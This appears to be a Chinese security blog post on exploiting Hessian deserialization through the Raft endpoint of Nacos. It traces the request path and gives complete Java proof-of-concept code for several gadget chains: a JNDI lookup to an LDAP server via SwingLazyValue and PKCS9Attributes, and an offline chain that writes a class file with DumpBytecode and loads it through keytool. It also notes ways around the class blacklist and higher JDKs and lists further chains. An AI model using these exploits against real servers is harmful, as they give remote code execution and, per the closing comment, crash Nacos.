文章的主要目的不是为了分析漏洞,而是介绍hessian利用
raft介绍
Raft协议是一种分布式一致性算法(共识算法),共识就是多个节点对某一个事件达成一致的算法,即使出现部分节点故障,网络延时等情况,也不影响各节点,进而提高系统的整体可用性。
理解分布式共识算法:
http://thesecretlivesofdata.com/raft/
https://juejin.cn/post/7143541597165060109
反序列化
这里简单提一下 raft 的反序列化过程
当com.alibaba.nacos.core.distributed.raft.processor.AbstractProcessor#handleRequest接收到raft请求,这里会findGroup,寻找leader节点
可选择的group有三个,需要是leader节点才能继续调用execute,需要注意的是,打完一次poc之后,节点就会变成state_error,这里有三个节点,所以默认情况下只能打三次,测试过程中复原的方式:
将全新的data进行替换并重启服务,节点就正常工作了。
execute会调用JRaftServer#applyOperation,将data封装为com.alipay.sofa.jraft.entity.Task提交到Raft集群
将Task提交到sofa-jraft框架后,框架会处理所有流程(日志复制、超半数提交),最终会调用用户实现的状态机的onApply方法
naming_instance_metadata -> 的processor InstanceMetadataProcessor的onApply
所以需要message类型是WriteRequest
最终触发反序列化
Gadgets
出网
Rdn$RdnEntry#compareTo->
XString#equal->
MultiUIDefaults#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
Hessian序列化的时候不允许非Serializable接口的类序列化,不过可以设置SerializerFactory#_isAllowNonSerializable属性为true绕过
不过,在Hessian反序列化时,反序列化器是MapDeserializer由于MultiUIDefaults不是public类,所以readMap时,会报错
将MultiUIDefaults换为:
sun.security.pkcs.PKCS9Attributes
获取的Deserialize是UnsafeDeserializer,(如果是JavaDeserializer那么实例化类的时候,依然需要public类,MimeTypeParameterList也是非public,但由于不是Map类型,所以没有直接使用MapDeserializer进行newInstace)
直接使用unsafe进行实例化类
最后的payload为:
public class HessianDemo {
public static void main(String[] args) throws Exception {
SwingLazyValue lazyValue = new SwingLazyValue("javax.naming.InitialContext","doLookup",new String[]{"ldap://127.0.0.1:1389/xx"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
// 允许序列化不实现Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);
output.flushBuffer();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static Object hdeserialize(byte[] data){
if (data == null) {
return null;
}
Object result = null;
try {
byte[] b = new byte[]{67};
data = byteMerger(b, data);
ByteArrayInputStream is = new ByteArrayInputStream(data);
Hessian2Input input = new Hessian2Input(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] bt3 = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, bt3, 0, bt1.length);
System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
return bt3;
}
}
解释一下poc的几个点:为什么要在最开始write一个byte 67
为了调用到expect方法,为了触发obj也就是PKCS9Attributes的toString方法
这里是67的原因:
首先readObject进来,读到第一个byte为67,进入readObjectDefinition
接着,继续调用readString
在readString里又触发expcet,这里的67,就是正常writeObject流程里的写的67了,indx已经后移了一位
正常writeObject的时候,第一位也是67,这样就有了两个67,触发到expect
PKCS9Attributes的toString会调用UIDefaults的get方法
注意这里的key在遍历PKCS9_OIDS,PKCS9Attribute.EMAIL_ADDRESS_OID可以满足条件
最终的调用栈:
PKCS9Attributes#toString->
UIDefaults#get->
UIDefaults#getFromHashTable->
UIDefaults$LazyValue#createValue->
SwingLazyValue#createValue->
InitialContext#doLookup()
SwingLazyValue 调用的方法需要是静态方法,因为invoke第一个参数传的class类型
class的加载过程有黑名单:com.caucho.hessian.io.ClassFactory#isAllow
jdk高版本利用:
高版本需要配合 System.setProperty 设置 com.sun.jndi.rmi.object.trustURLCodebase 解除lookup限制,但是这里有黑名单,限制了java.lang.System的调用,于是思路:naocs存在tomcat依赖,直接加载本地BeanFactory即可绕过高版本限制。
不出网
参考了网上的一些利用,此方法能绕过高版本hessian禁用System的调用
利用:
- jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode -> writeClass
- sun.security.tools.keytool.Main#main -> loadClass
jdk.nashorn.internal.codegen.DumpBytecode#dumpBytecode写入class文件,这里需要换成UIDefaults.ProxyLazyValue,否则会加载不到DumpBytecode(nashorn.jar)
如果是SwingLazyValue,只能加载到 rt.jar
接着调用sun.security.tools.keytool.Main#main来loadClass
POC:
writeClass:
package com.nacos.jraft.test;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
public class HessianWriteClass {
public static void main(String[] args) throws Exception {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
new Object[]{
scriptEnvironment,
getUnsafe().allocateInstance(DebugLogger.class),
ToByte.toByte(),
"RunCommand",
}
);
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
public static byte[] getBytes(){
try {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("jdk.nashorn.internal.codegen.DumpBytecode","dumpBytecode",
new Object[]{
scriptEnvironment,
getUnsafe().allocateInstance(DebugLogger.class),
ToByte.toByte(),
"RunCommand",
}
);
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] data = hserialize(p);
byte[] b = new byte[]{67};
data = byteMerger(b, data);
return data;
}catch (Exception e) {
e.printStackTrace();
}
return new byte[0];
}
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
// 允许序列化不实现Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);
output.flushBuffer();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static Object hdeserialize(byte[] data){
if (data == null) {
return null;
}
Object result = null;
try {
byte[] b = new byte[]{67};
data = byteMerger(b, data);
ByteArrayInputStream is = new ByteArrayInputStream(data);
Hessian2Input input = new Hessian2Input(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] bt3 = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, bt3, 0, bt1.length);
System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
return bt3;
}
public static Unsafe getUnsafe() throws NoSuchFieldException, IllegalAccessException {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
}
loadClass:
package com.nacos.jraft.test;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import jdk.nashorn.internal.runtime.ScriptEnvironment;
import jdk.nashorn.internal.runtime.logging.DebugLogger;
import sun.misc.Unsafe;
import sun.security.pkcs.PKCS9Attribute;
import sun.security.pkcs.PKCS9Attributes;
import javax.swing.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
public class HessianLoadClass {
public static void main(String[] args) throws Exception {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
"main",
new Object[]{new String[]{
"-genkeypair",
"-keypass",
"123456",
"-keystore",
"test",
"-storepass",
"123456",
"-providername",
"test",
"-providerclass",
"RunCommand",
"-providerpath",
System.getProperty("java.io.tmpdir")}}
);
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] b = hserialize(p);
hdeserialize(b);
}
public static byte[] getBytes(){
try {
ScriptEnvironment scriptEnvironment = (ScriptEnvironment) getUnsafe().allocateInstance(ScriptEnvironment.class);
Field dest_dir = scriptEnvironment.getClass().getDeclaredField("_dest_dir");
dest_dir.setAccessible(true);
dest_dir.set(scriptEnvironment, System.getProperty("java.io.tmpdir"));
UIDefaults.ProxyLazyValue lazyValue_2 = new UIDefaults.ProxyLazyValue("sun.security.tools.keytool.Main",
"main",
new Object[]{new String[]{
"-genkeypair",
"-keypass",
"123456",
"-keystore",
"test",
"-storepass",
"123456",
"-providername",
"test",
"-providerclass",
"RunCommand",
"-providerpath",
System.getProperty("java.io.tmpdir")}}
);
Field acc = lazyValue_2.getClass().getDeclaredField("acc");
acc.setAccessible(true);
acc.set(lazyValue_2, null);
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, lazyValue_2);
PKCS9Attributes p = new PKCS9Attributes(new PKCS9Attribute[]{});
Field f = p.getClass().getDeclaredField("attributes");
f.setAccessible(true);
f.set(p, uiDefaults);
byte[] data = hserialize(p);
byte[] b = new byte[]{67};
data = byteMerger(b, data);
return data;
}catch (Exception e) {
e.printStackTrace();
}
return new byte[0];
}
public static <T> byte[] hserialize(T t) {
byte[] data = null;
try {
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
// 允许序列化不实现Serializable接口的类
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(t);
output.flushBuffer();
data = os.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
return data;
}
public static Object hdeserialize(byte[] data){
if (data == null) {
return null;
}
Object result = null;
try {
byte[] b = new byte[]{67};
data = byteMerger(b, data);
ByteArrayInputStream is = new ByteArrayInputStream(data);
Hessian2Input input = new Hessian2Input(is);
result = input.readObject();
} catch (Exception e) {
e.printStackTrace();
}
return result;
}
public static byte[] byteMerger(byte[] bt1, byte[] bt2){
byte[] bt3 = new byte[bt1.length+bt2.length];
System.arraycopy(bt1, 0, bt3, 0, bt1.length);
System.arraycopy(bt2, 0, bt3, bt1.length, bt2.length);
return bt3;
}
public static Unsafe getUnsafe() throws NoSuchFieldException, IllegalAccessException {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
}
其他利用:
- jdk <8u251, com.sun.org.apache.bcel.internal.util.JavaWrapper#_main加载bcel:https://siebene.github.io/2022/09/19/0CTF2022-hessian-onlyjdk-WriteUp/
- 没有黑名单的情况下,调用sun.reflect.misc.MethodUtil#invoke,进而传入实例化的类调用exec():https://github.com/ceclin/0ctf-2022-soln-hessian-onlyjdk/blob/main/soln/src/main/kotlin/soln/App.kt
- jdk.nashorn.internal.codegen.DumpBytecode#dumpByteCode 写动态链接库+ System.load 加载:https://xz.aliyun.com/t/11732#toc-0
- sun.tools.jar.Main.main:https://gist.github.com/CykuTW/4c0d105df24acf2218e0aedb67661da9
- System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm:https://guokeya.github.io/post/psaIZKtC4/
- com.sun.org.apache.xml.internal.security.utils.JavaUtils#writeBytesToFilename 写文件
@white-beer 解决了
这个链打nacos的能打成功,但是nacos会崩。有啥办法能规避吗